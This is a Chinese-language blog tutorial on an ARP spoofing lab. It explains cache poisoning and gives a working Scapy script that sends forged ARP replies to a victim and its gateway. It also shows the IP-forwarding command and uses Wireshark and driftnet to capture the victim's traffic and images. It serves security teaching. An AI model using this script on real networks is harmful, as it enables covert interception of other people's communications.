close

ARP協議並不只在發送了ARP請求才接收ARP應答。當計算機接收到ARP應答數據包的時候,就會對本地的ARP緩存進行更新,將應答中的IP和MAC地址存儲在ARP緩存中。因此,當局域網中的某台機器B向A發送一個自己偽造的ARP應答,而如果這個應答是B冒充C偽造來的,即IP地址為C的IP,而MAC地址是偽造的,則當A接收到B偽造的ARP應答後,就會更新本地的ARP緩存,這樣在A看來C的IP地址沒有變,而它的MAC地址已經不是原來那個了。通過ARP欺騙可以對內網數據進行嗅探,在內網滲透中往往也是重要的一部分。

實驗環境如下


無線網關:IP:192.168.199.1MAC: d4-ee-07-67-40-68普通用戶:IP:192.168.199.213MAC:5c:93:a2:fe:29:e3攻擊者:IP:192.168.199.229MAC:30-b4-9e-67-25-47實驗環境圖如下:

一、ARP 欺騙原理

攻擊者通過構造兩種ARP響應包,分別欺騙普通用戶和網關路由器。第一種ARP包中源IP為網關IP(192.168.199.1),源MAC為攻擊者MAC(30:b4:9e:67:25:47),目的IP為普通用戶IP(192.168.199.213),目的MAC為普通用戶MAC(5c:93:a2:fe:29:e3)。當用戶收到此ARP報文則將ARP表中網關的MAC地址更新為攻擊者的MAC(30:b4:9e:67:25:47)。當普通轉發數據時數據則會發向攻擊者的PC上,由攻擊者進行數據轉發。第二種ARP包中源IP為普通用戶IP(192.168.199.213),但源MAC為攻擊者MAC(30:b4:9e:67:25:47),目的IP為網關IP(192.168.199.1),目的MAC為網關MAC(d4:ee:07:67:40:68)。網關收到此ARP將ARP表中普通用戶的MAC更新為攻擊者MAC(30:b4:9e:67:25:47)。實現代碼如下:`def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):

poison_target=ARP()poison_target.op=2poison_target.psrc=gateway_ippoison_target.pdst=target_ippoison_target.hwdst=target_macpoison_gateway=ARP()poison_gateway.op=2poison_gateway.psrc=target_ippoison_gateway.pdst=gateway_ippoison_gateway.hwdst=gateway_macprint "[*] Beginning the ARP poison.[CTRL-C to stop]"while True: try: send(poison_target) send(poison_gateway) print "send sucess!" time.sleep(2) except KeyboardInterrupt: restore_target(gateway_ip,gateway_mac,target_ip,target_mac)print "[*] ARP poison attack finished."return

通過不間斷的發送這兩種ARP報文,攻擊者以中間人的形式竊取數據報文。

實驗前普通用戶PC機中ARP表如下:

實驗開始前,需打開攻擊者的路由轉發功能,若未開啟轉發攻擊,普通用戶則無法正常訪問外網。echo 1 > /proc/sys/net/ipv4/ip_forward運行腳本:

查看普通用戶的ARP表項:

二、進行數據包抓取

使用scapy抓包代碼如下:

成功進行了ARP欺騙,訪問外網,能正常訪問

在攻擊者PC上抓取的數據包,並用wireshark打開如下:

三、圖片瀏覽

當被攻擊用戶同瀏覽器訪問圖片文件時,可搭配driftnet進行圖片抓取driftnet -i wlan0抓取圖片如下:


- 結尾 -
精彩推薦
【技術分享】Powershell Empire 繞過AV實現遠控
【技術分享】SA-CORE-2019-003:Drupal 遠程命令執行分析
【技術分享】滲透測試實戰-BlackMarket靶機入侵

戳「閱讀原文」查看更多內容
arrow
arrow
    全站熱搜
    創作者介紹
    創作者 鑽石舞台 的頭像
    鑽石舞台

    鑽石舞台

    鑽石舞台 發表在 痞客邦 留言(0) 人氣()